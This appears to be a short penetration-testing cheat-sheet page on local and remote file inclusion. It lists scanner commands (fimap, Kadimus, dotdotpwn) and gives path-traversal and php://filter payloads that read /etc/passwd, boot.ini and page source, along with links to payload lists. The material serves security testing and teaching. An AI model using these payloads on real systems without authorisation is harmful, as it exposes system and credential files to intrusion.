LFI / RFI

Local File Inclusion

Tools

https://github.com/kurobeats/fimap
$ fimap -u "http://10.11.1.111/example.php?test="

https://github.com/P0cL4bs/Kadimus
$ ./kadimus -u localhost/?pg=contact -A my_user_agent

https://github.com/wireghoul/dotdotpwn
$ dotdotpwn.pl -m http -h 10.11.1.111 -M GET -o unix

Apache specific: https://github.com/imhunterand/ApachSAL

{% hint style="info" %} How to

  1. Look requests with filename like include=main.inc template=/en/sidebar file=foo/file1.txt

  2. Modify and test: file=foo/bar/../file1.txt

    1. If the response is the same could be vulnerable

    2. If not there is some kind of block or sanitizer

  3. Try to access world-readable files like /etc/passwd /win.ini {% endhint %}

LFI

RFI

Situation http:///index.php?parameter=value

How to Test http:///index.php?parameter=php://filter/convert.base64-encode/resource=index http:///script.php?page=../../../../../../../../etc/passwd http:///script.php?page=../../../../../../../../boot.ini

LFI Payloads https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion/Intruders https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

PreviousRace ConditionNextCSRF

Last updated